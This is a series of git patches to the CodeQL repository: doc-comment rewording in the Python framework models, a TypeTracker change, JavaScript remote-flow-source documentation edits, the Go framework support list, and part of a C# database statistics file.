InstanceSource extends HTTP::Server::HttpResponse::Range, DataFlow::Node { } @@ -716,13 +716,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.HttpResponseRedirect`. + * A source of instances of `django.http.response.HttpResponseRedirect`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `HttpResponseRedirect::instance()` predicate to get references to instances of `django.http.response.HttpResponseRedirect`. + * Use the predicate `HttpResponseRedirect::instance()` to get references to instances of `django.http.response.HttpResponseRedirect`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } @@ -782,13 +782,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.HttpResponsePermanentRedirect`. + * A source of instances of `django.http.response.HttpResponsePermanentRedirect`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `HttpResponsePermanentRedirect::instance()` predicate to get references to instances of `django.http.response.HttpResponsePermanentRedirect`. + * Use the predicate `HttpResponsePermanentRedirect::instance()` to get references to instances of `django.http.response.HttpResponsePermanentRedirect`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } @@ -849,13 +849,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.HttpResponseNotModified`. + * A source of instances of `django.http.response.HttpResponseNotModified`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `HttpResponseNotModified::instance()` predicate to get references to instances of `django.http.response.HttpResponseNotModified`. + * Use the predicate `HttpResponseNotModified::instance()` to get references to instances of `django.http.response.HttpResponseNotModified`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } @@ -910,13 +910,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.HttpResponseBadRequest`. + * A source of instances of `django.http.response.HttpResponseBadRequest`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `HttpResponseBadRequest::instance()` predicate to get references to instances of `django.http.response.HttpResponseBadRequest`. + * Use the predicate `HttpResponseBadRequest::instance()` to get references to instances of `django.http.response.HttpResponseBadRequest`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } @@ -973,13 +973,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.HttpResponseNotFound`. + * A source of instances of `django.http.response.HttpResponseNotFound`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `HttpResponseNotFound::instance()` predicate to get references to instances of `django.http.response.HttpResponseNotFound`. + * Use the predicate `HttpResponseNotFound::instance()` to get references to instances of `django.http.response.HttpResponseNotFound`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } @@ -1036,13 +1036,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.HttpResponseForbidden`. + * A source of instances of `django.http.response.HttpResponseForbidden`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `HttpResponseForbidden::instance()` predicate to get references to instances of `django.http.response.HttpResponseForbidden`. + * Use the predicate `HttpResponseForbidden::instance()` to get references to instances of `django.http.response.HttpResponseForbidden`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } @@ -1099,13 +1099,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.HttpResponseNotAllowed`. + * A source of instances of `django.http.response.HttpResponseNotAllowed`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `HttpResponseNotAllowed::instance()` predicate to get references to instances of `django.http.response.HttpResponseNotAllowed`. + * Use the predicate `HttpResponseNotAllowed::instance()` to get references to instances of `django.http.response.HttpResponseNotAllowed`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } @@ -1163,13 +1163,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.HttpResponseGone`. + * A source of instances of `django.http.response.HttpResponseGone`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `HttpResponseGone::instance()` predicate to get references to instances of `django.http.response.HttpResponseGone`. + * Use the predicate `HttpResponseGone::instance()` to get references to instances of `django.http.response.HttpResponseGone`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } @@ -1226,13 +1226,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.HttpResponseServerError`. + * A source of instances of `django.http.response.HttpResponseServerError`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `HttpResponseServerError::instance()` predicate to get references to instances of `django.http.response.HttpResponseServerError`. + * Use the predicate `HttpResponseServerError::instance()` to get references to instances of `django.http.response.HttpResponseServerError`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } @@ -1289,13 +1289,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.JsonResponse`. + * A source of instances of `django.http.response.JsonResponse`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `JsonResponse::instance()` predicate to get references to instances of `django.http.response.JsonResponse`. + * Use the predicate `JsonResponse::instance()` to get references to instances of `django.http.response.JsonResponse`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } @@ -1355,13 +1355,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.StreamingHttpResponse`. + * A source of instances of `django.http.response.StreamingHttpResponse`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `StreamingHttpResponse::instance()` predicate to get references to instances of `django.http.response.StreamingHttpResponse`. + * Use the predicate `StreamingHttpResponse::instance()` to get references to instances of `django.http.response.StreamingHttpResponse`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } @@ -1418,13 +1418,13 @@ private module Django { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `django.http.response.FileResponse`. + * A source of instances of `django.http.response.FileResponse`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `FileResponse::instance()` predicate to get references to instances of `django.http.response.FileResponse`. + * Use the predicate `FileResponse::instance()` to get references to instances of `django.http.response.FileResponse`. */ abstract class InstanceSource extends HttpResponse::InstanceSource, DataFlow::Node { } diff --git a/python/ql/src/semmle/python/frameworks/Fabric.qll b/python/ql/src/semmle/python/frameworks/Fabric.qll index 5037d918c78..764dce0de80 100644 --- a/python/ql/src/semmle/python/frameworks/Fabric.qll +++ b/python/ql/src/semmle/python/frameworks/Fabric.qll @@ -281,13 +281,13 @@ private module FabricV2 { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `fabric.connection.Connection`. + * A source of instances of `fabric.connection.Connection`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function + * This can include instantiations of the class, return values from function * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `Connection::instance()` predicate to get references to instances of `fabric.connection.Connection`. + * Use the predicate `Connection::instance()` to get references to instances of `fabric.connection.Connection`. */ abstract class InstanceSource extends DataFlow::Node { } @@ -457,7 +457,7 @@ private module FabricV2 { */ module Group { /** - * A source of an instance of a subclass of `fabric.group.Group` + * A source of instances of a subclass of `fabric.group, extend this class to model new instances.Group` * * This can include instantiation of a class, return value from function * calls, or a special parameter that will be set when functions are called by an external diff --git a/python/ql/src/semmle/python/frameworks/Flask.qll b/python/ql/src/semmle/python/frameworks/Flask.qll index 571ec05f738..3a420312be2 100644 --- a/python/ql/src/semmle/python/frameworks/Flask.qll +++ b/python/ql/src/semmle/python/frameworks/Flask.qll @@ -97,13 +97,13 @@ private module FlaskModel { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `flask.Flask`. + * A source of instances of `flask.Flask`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `Flask::instance()` predicate to get references to instances of `flask.Flask`. + * Use the predicate `Flask::instance()` to get references to instances of `flask.Flask`. */ abstract class InstanceSource extends DataFlow::Node { } @@ -207,13 +207,13 @@ private module FlaskModel { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `flask.Response`. + * A source of instances of `flask.Response`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `Response::instance()` predicate to get references to instances of `flask.Response`. + * Use the predicate `Response::instance()` to get references to instances of `flask.Response`. */ abstract class InstanceSource extends HTTP::Server::HttpResponse::Range, DataFlow::Node { } diff --git a/python/ql/src/semmle/python/frameworks/PEP249.qll b/python/ql/src/semmle/python/frameworks/PEP249.qll index c84c15281be..1a5d888949f 100644 --- a/python/ql/src/semmle/python/frameworks/PEP249.qll +++ b/python/ql/src/semmle/python/frameworks/PEP249.qll @@ -29,13 +29,13 @@ DataFlow::Node connect() { result = connect(DataFlow::TypeTracker::end()) } */ module Connection { /** - * A source of an instance of `db.Connection`. + * A source of instances of `db.Connection`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function + * This can include instantiations of the class, return values from function * calls, or a special parameter that will be set when functions are called by external * libraries. * - * Use `Connection::instance()` predicate to get references to instances of `db.Connection`. + * Use the predicate `Connection::instance()` to get references to instances of `db.Connection`. * * Extend this class if the module implementing PEP 249 offers more direct ways to obtain * a connection than going through `connect`. diff --git a/python/ql/src/semmle/python/frameworks/Stdlib.qll b/python/ql/src/semmle/python/frameworks/Stdlib.qll index 246f6ba2545..8840e1bba60 100644 --- a/python/ql/src/semmle/python/frameworks/Stdlib.qll +++ b/python/ql/src/semmle/python/frameworks/Stdlib.qll @@ -1116,13 +1116,13 @@ private module Stdlib { DataFlow::Node classRef() { result = classRef(DataFlow::TypeTracker::end()) } /** - * A source of an instance of `cgi.FieldStorage`. + * A source of instances of `cgi.FieldStorage`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `FieldStorage::instance()` predicate to get references to instances of `cgi.FieldStorage`. + * Use the predicate `FieldStorage::instance()` to get references to instances of `cgi.FieldStorage`. */ abstract class InstanceSource extends DataFlow::Node { } @@ -1569,13 +1569,13 @@ private module Stdlib { } /** - * A source of an instance of the `BaseHTTPRequestHandler` class or any subclass. + * A source of instances of the `BaseHTTPRequestHandler` class or any subclass, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `classname::instance()` predicate to get references to instances of the `BaseHTTPRequestHandler` class or any subclass. + * Use the predicate `classname::instance()` to get references to instances of the `BaseHTTPRequestHandler` class or any subclass. */ abstract class InstanceSource extends DataFlow::Node { } diff --git a/python/ql/src/semmle/python/frameworks/Werkzeug.qll b/python/ql/src/semmle/python/frameworks/Werkzeug.qll index 0e1c80629c5..172c9468252 100644 --- a/python/ql/src/semmle/python/frameworks/Werkzeug.qll +++ b/python/ql/src/semmle/python/frameworks/Werkzeug.qll @@ -24,13 +24,13 @@ module Werkzeug { */ module MultiDict { /** - * A source of an instance of `werkzeug.datastructures.MultiDict`. + * A source of instances of `werkzeug.datastructures.MultiDict`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function - * calls, or a special parameter that will be set when functions are call by external + * This can include instantiations of the class, return values from function + * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `MultiDict::instance()` predicate to get references to instances of `werkzeug.datastructures.MultiDict`. + * Use the predicate `MultiDict::instance()` to get references to instances of `werkzeug.datastructures.MultiDict`. */ abstract class InstanceSource extends DataFlow::Node { } @@ -72,13 +72,13 @@ module Werkzeug { */ module FileStorage { /** - * A source of an instance of `werkzeug.datastructures.FileStorage`. + * A source of instances of `werkzeug.datastructures.FileStorage`, extend this class to model new instances. * - * This can include instantiation of the class, return value from function + * This can include instantiations of the class, return values from function * calls, or a special parameter that will be set when functions are called by an external * library. * - * Use `FileStorage::instance()` predicate to get references to instances of `werkzeug.datastructures.FileStorage`. + * Use the predicate `FileStorage::instance()` to get references to instances of `werkzeug.datastructures.FileStorage`. */ abstract class InstanceSource extends DataFlow::Node { } From 638fcab12d9cf9d2769ad4bf393ebc06439995d9 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Tue, 15 Dec 2020 15:35:16 +0100 Subject: [PATCH 0266/1241] Python: Allow path from non-sourceNodes This is against the philosophy, but we have still restricted attributes. We use this PR to test performance. --- python/ql/src/semmle/python/dataflow/new/TypeTracker.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll b/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll index a38119433e0..c7ed7f102d0 100644 --- a/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll +++ b/python/ql/src/semmle/python/dataflow/new/TypeTracker.qll @@ -51,7 +51,7 @@ module StepSummary { * heap and/or inter-procedural step from `nodeFrom` to `nodeTo`. */ cached - predicate step(LocalSourceNode nodeFrom, Node nodeTo, StepSummary summary) { + predicate step(Node nodeFrom, Node nodeTo, StepSummary summary) { exists(Node mid | typePreservingStep*(nodeFrom, mid) and smallstep(mid, nodeTo, summary)) } From 4720e6cd3bc3f818039ea03a0ca54a4003dcb605 Mon Sep 17 00:00:00 2001 From: james Date: Tue, 15 Dec 2020 15:26:07 +0000 Subject: [PATCH 0267/1241] typo --- docs/codeql/codeql-language-guides/codeql-for-javascript.rst | 2 +- ...specifying-additional-remote-flow-sources-for-javascript.rst | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript.rst b/docs/codeql/codeql-language-guides/codeql-for-javascript.rst index cbf833bac5c..f6361d090eb 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/codeql-for-javascript.rst @@ -28,7 +28,7 @@ Experiment and learn how to write effective and efficient queries for CodeQL dat - :doc:`Using flow labels for precise data flow analysis `: You can associate flow labels with each value tracked by the flow analysis to determine whether the flow contains potential vulnerabilities. -- :doc:`Specifying remote flow sources for JavaScript `: You can model potential sources of untrusted user input without making changes to the CodeQL standard libary fror JavaScript. +- :doc:`Specifying remote flow sources for JavaScript `: You can model potential sources of untrusted user input without making changes to the CodeQL standard library for JavaScript. - :doc:`Using type tracking for API modeling `: You can track data through an API by creating a model using the CodeQL type-tracking library for JavaScript. diff --git a/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst index 96b69652a32..f5d8e5bc650 100644 --- a/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst @@ -3,7 +3,7 @@ Specifying additional remote flow sources for JavaScript ======================================================== -You can model potential sources of untrusted user input without making changes to the CodeQL standard libary fror JavaScript. +You can model potential sources of untrusted user input without making changes to the CodeQL standard library for JavaScript. As mentioned in the :doc:`Data flow cheat sheet for JavaScript `, the CodeQL libraries for JavaScript provide a class `RemoteFlowSource `__ to represent sources of untrusted user input, sometimes also referred to as `remote flow From 7e3feb4f52db90bfc787a6c4ef0505b1e94c747a Mon Sep 17 00:00:00 2001 From: james Date: Tue, 15 Dec 2020 15:35:28 +0000 Subject: [PATCH 0268/1241] add beta note and tweak intro text --- .../codeql-language-guides/codeql-for-javascript.rst | 2 +- ...additional-remote-flow-sources-for-javascript.rst | 12 +++++++++--- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript.rst b/docs/codeql/codeql-language-guides/codeql-for-javascript.rst index f6361d090eb..6a4fab3fb0f 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/codeql-for-javascript.rst @@ -28,7 +28,7 @@ Experiment and learn how to write effective and efficient queries for CodeQL dat - :doc:`Using flow labels for precise data flow analysis `: You can associate flow labels with each value tracked by the flow analysis to determine whether the flow contains potential vulnerabilities. -- :doc:`Specifying remote flow sources for JavaScript `: You can model potential sources of untrusted user input without making changes to the CodeQL standard library for JavaScript. +- :doc:`Specifying remote flow sources for JavaScript `: You can model potential sources of untrusted user input in external files without making changes to the CodeQL standard library. - :doc:`Using type tracking for API modeling `: You can track data through an API by creating a model using the CodeQL type-tracking library for JavaScript. diff --git a/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst index f5d8e5bc650..ab4d8fdf952 100644 --- a/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst @@ -3,11 +3,17 @@ Specifying additional remote flow sources for JavaScript ======================================================== -You can model potential sources of untrusted user input without making changes to the CodeQL standard library for JavaScript. +You can model potential sources of untrusted user input in external files without making changes to the CodeQL standard library. + +.. pull-quote:: + + Note + + Specifying remote flow sources in external files is currently in beta and subject to change. As mentioned in the :doc:`Data flow cheat sheet for JavaScript `, the CodeQL libraries for JavaScript -provide a class `RemoteFlowSource `__ to represent sources of untrusted user input, sometimes also referred to as `remote flow -sources`. +provide a class `RemoteFlowSource `__ to represent sources of untrusted user input, sometimes also referred to as remote flow +sources. To model a new source of untrusted input, such as a previously unmodelled library API, you can define a subclass of ``RemoteFlowSource`` that covers all uses of that API. All standard analyses From f8d8a9b35684094117b4ce888de154d50aa33708 Mon Sep 17 00:00:00 2001 From: Max Schaefer <54907921+max-schaefer@users.noreply.github.com> Date: Tue, 15 Dec 2020 15:44:19 +0000 Subject: [PATCH 0269/1241] Apply suggestions from code review Co-authored-by: James Fletcher <42464962+jf205@users.noreply.github.com> --- ...g-additional-remote-flow-sources-for-javascript.rst | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst index ab4d8fdf952..45f5a7a6b89 100644 --- a/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst @@ -22,25 +22,23 @@ will then automatically pick up this new source of remote flow. However, this approach requires writing QL code and adding it to the standard library, which is not always easy to do. Instead, you can also add a JSON file describing custom sources of untrusted input to your code base and have it picked up without needing to modify the standard library. This -JSON file can be hand-written or generated by another tool, but note that these customizations -are specific to the code base containing the JSON file. To use them in other code bases, you need -to copy over the JSON file. +JSON file can be hand-written or generated by another tool. The custom remote flow sources are only available to the code base containing the JSON file. This means that you need to copy the JSON file into each code base that requires the customizations. Specification format -------------------- -The JSON file must be called ``codeql-javascript-remote-flow-sources.json`` (case-sensitive) and +The JSON file must be called ``codeql-javascript-remote-flow-sources.json`` and can be located anywhere in your code base. It should consist of a single JSON object. The property names of this object are interpreted as `source types`. The values they map to should be arrays of strings. Each string should be of the form ``window.props``, where ``props`` is a sequence of one -or more property names separated by dots, specifying that any value reachable from the global window +or more property names separated by dots. This notation specifies that any value reachable from the global window object by this sequence of property names should be considered as untrusted user input of the associated source type. Example ------- -As an example, consider the following specification: +Consider the following specification: .. code-block:: json From cf5891487d163a61ddea45ee4ff30184f477dc11 Mon Sep 17 00:00:00 2001 From: Max Schaefer <54907921+max-schaefer@users.noreply.github.com> Date: Tue, 15 Dec 2020 15:56:05 +0000 Subject: [PATCH 0270/1241] Apply suggestions from code review Co-authored-by: James Fletcher <42464962+jf205@users.noreply.github.com> --- docs/codeql/codeql-language-guides/codeql-for-javascript.rst | 2 +- ...specifying-additional-remote-flow-sources-for-javascript.rst | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/codeql/codeql-language-guides/codeql-for-javascript.rst b/docs/codeql/codeql-language-guides/codeql-for-javascript.rst index 6a4fab3fb0f..fee654bc412 100644 --- a/docs/codeql/codeql-language-guides/codeql-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/codeql-for-javascript.rst @@ -28,7 +28,7 @@ Experiment and learn how to write effective and efficient queries for CodeQL dat - :doc:`Using flow labels for precise data flow analysis `: You can associate flow labels with each value tracked by the flow analysis to determine whether the flow contains potential vulnerabilities. -- :doc:`Specifying remote flow sources for JavaScript `: You can model potential sources of untrusted user input in external files without making changes to the CodeQL standard library. +- :doc:`Specifying remote flow sources for JavaScript `: You can model potential sources of untrusted user input in your code without making changes to the CodeQL standard library by specifying extra remote flow sources in an external file. - :doc:`Using type tracking for API modeling `: You can track data through an API by creating a model using the CodeQL type-tracking library for JavaScript. diff --git a/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst index 45f5a7a6b89..fabe58bf5c9 100644 --- a/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst +++ b/docs/codeql/codeql-language-guides/specifying-additional-remote-flow-sources-for-javascript.rst @@ -3,7 +3,7 @@ Specifying additional remote flow sources for JavaScript ======================================================== -You can model potential sources of untrusted user input in external files without making changes to the CodeQL standard library. +You can model potential sources of untrusted user input in your code without making changes to the CodeQL standard library by specifying extra remote flow sources in an external file. .. pull-quote:: From 1d3d4ed4bfe6922de582570cec8c9d6dc5e97891 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Tue, 15 Dec 2020 17:01:37 +0000 Subject: [PATCH 0271/1241] Update supported Go frameworks --- docs/codeql/support/reusables/frameworks.rst | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/docs/codeql/support/reusables/frameworks.rst b/docs/codeql/support/reusables/frameworks.rst index 0eb6b3680bc..4427407fe9d 100644 --- a/docs/codeql/support/reusables/frameworks.rst +++ b/docs/codeql/support/reusables/frameworks.rst @@ -27,6 +27,8 @@ Go built-in support :widths: auto Name, Category + Chi, Web framework + Echo, Web framework Gin, Web framework glog, Logging library go-restful, Web application framework @@ -51,6 +53,9 @@ Go built-in support mux, HTTP request router and dispatcher nhooyr.io/websocket, Network communicator pg, Database + proto, Serialization + Revel, Web framework + Spew, Logging library sqlx, Database SendGrid, Email library Squirrel, Database From 8fd409898a72db2f9d70dccbad4ea8a88b3c5586 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 15 Dec 2020 18:34:47 +0100 Subject: [PATCH 0272/1241] Add new stats file --- .../ql/src/semmlecode.csharp.dbscheme.stats | 6917 +++++++++-------- 1 file changed, 3524 insertions(+), 3393 deletions(-) diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme.stats b/csharp/ql/src/semmlecode.csharp.dbscheme.stats index 397b39b64fb..a640d36f28a 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme.stats +++ b/csharp/ql/src/semmlecode.csharp.dbscheme.stats @@ -1,7 +1,7 @@ @compilation -1095 +1097 @diagnostic @@ -9,7 +9,7 @@ @extractor_message -10135 +8300 @externalDefect @@ -25,7 +25,7 @@ @duplication -22719 +22765 @similarity @@ -33,31 +33,31 @@ @location_default -14069206 +14071874 @assembly -4195 +4203 @file -42436 +42521 @folder -16918 +16951 @namespace -21926 +21970 @namespace_declaration -19745 +19785 @using_namespace_directive -144149 +144437 @using_static_directive @@ -117,23 +117,23 @@ @enum_type -11943 +11967 @struct_type -49629 +49729 @class_type -304880 +305489 @interface_type -177985 +178340 @delegate_type -107490 +107704 @null_type @@ -141,7 +141,7 @@ @type_parameter -202452 +202856 @pointer_type @@ -149,11 +149,11 @@ @nullable_type -976 +979 @array_type -9116 +9134 @void_type @@ -165,7 +165,7 @@ @tuple_type -1781 +1784 @uint_ptr_type @@ -185,23 +185,23 @@ @typeref -234624 +235092 @attribute -748732 +750241 @type_mention -1266369 +1268897 @oblivious -1314 +1316 @not_annotated -618 +619 @annotated @@ -209,7 +209,7 @@ @type_parameter_constraints -610345 +611564 @modifier @@ -217,47 +217,47 @@ @property -423224 +424069 @indexer -17030 +17064 @getter -440021 +440899 @setter -127435 +127690 @event -15219 +15249 @add_event_accessor -15219 +15249 @remove_event_accessor -15219 +15249 @operator -12401 +12426 @method -1115829 +1118291 @constructor -277440 +277993 @destructor -442 +443 @local_function @@ -265,15 +265,15 @@ @addressable_field -370202 +370941 @constant -185081 +185451 @addressable_local_variable -162434 +162445 @local_constant @@ -281,71 +281,71 @@ @local_variable_ref -258 +259 @parameter -2415699 +2420755 @block_stmt -307825 +308440 @expr_stmt -366946 +367678 @return_stmt -95961 +96153 @using_block_stmt -1139 +1141 @var_decl_stmt -147905 +147916 @if_stmt -118884 +119121 @switch_stmt -3042 +3048 @while_stmt -4533 +4542 @do_stmt -998 +1000 @for_stmt -6949 +6963 @foreach_stmt -5348 +5359 @break_stmt -10886 +10908 @continue_stmt -2182 +2186 @goto_stmt -2693 +2698 @goto_case_stmt -347 +348 @goto_default_stmt @@ -353,7 +353,7 @@ @throw_stmt -74157 +74305 @yield_stmt @@ -361,7 +361,7 @@ @try_stmt -4314 +4323 @checked_stmt @@ -373,7 +373,7 @@ @lock_stmt -1656 +1659 @const_decl_stmt @@ -389,19 +389,19 @@ @fixed_stmt -1123 +1125 @label_stmt -1006 +1008 @catch -3431 +3438 @case_stmt -22392 +22436 @local_function_stmt @@ -413,11 +413,11 @@ @bool_literal_expr -69359 +69497 @int_literal_expr -751646 +754675 @long_literal_expr @@ -425,67 +425,67 @@ @double_literal_expr -852 +854 @string_literal_expr -411460 +412282 @null_literal_expr -107550 +107765 @local_variable_access_expr -524127 +524163 @parameter_access_expr -356709 +357421 @field_access_expr -459299 +460216 @property_access_expr -358847 +359563 @type_access_expr -346321 +346906 @typeof_expr -30025 +30085 @method_invocation_expr -547916 +548159 @cast_expr -262249 +262773 @object_creation_expr -62722 +62848 @array_creation_expr -178670 +179161 @array_init_expr -178499 +178985 @local_var_decl_expr -163738 +163751 @char_literal_expr -15861 +15892 @decimal_literal_expr @@ -493,59 +493,59 @@ @uint_literal_expr -2361 +2366 @ulong_literal_expr -381 +382 @float_literal_expr -445 +446 @this_access_expr -591393 +592573 @base_access_expr -2814 +2820 @method_access_expr -9226 +9230 @event_access_expr -429 +430 @indexer_access_expr -30735 +30797 @array_access_expr -19703 +19742 @delegate_invocation_expr -2134 +2139 @operator_invocation_expr -29964 +30001 @explicit_delegate_creation_expr -666 +668 @implicit_delegate_creation_expr -5105 +5115 @default_expr -6343 +6356 @plus_expr @@ -553,123 +553,123 @@ @minus_expr -7127 +7141 @bit_not_expr -739 +741 @log_not_expr -26365 +26417 @post_incr_expr -12537 +12562 @post_decr_expr -1735 +1738 @pre_incr_expr -1271 +1273 @pre_decr_expr -411 +412 @mul_expr -4615 +4625 @div_expr -1814 +1817 @rem_expr -715 +716 @add_expr -27817 +27873 @sub_expr -12812 +12838 @lshift_expr -4040 +4048 @rshift_expr -1760 +1764 @lt_expr -16259 +16291 @gt_expr -9565 +9584 @le_expr -3888 +3896 @ge_expr -6268 +6281 @eq_expr -53794 +53902 @ne_expr -37868 +37943 @bit_and_expr -6316 +6328 @bit_xor_expr -535 +536 @bit_or_expr -14955 +14984 @log_and_expr -20785 +20826 @log_or_expr -14047 +14076 @is_expr -6703 +6716 @as_expr -2753 +2758 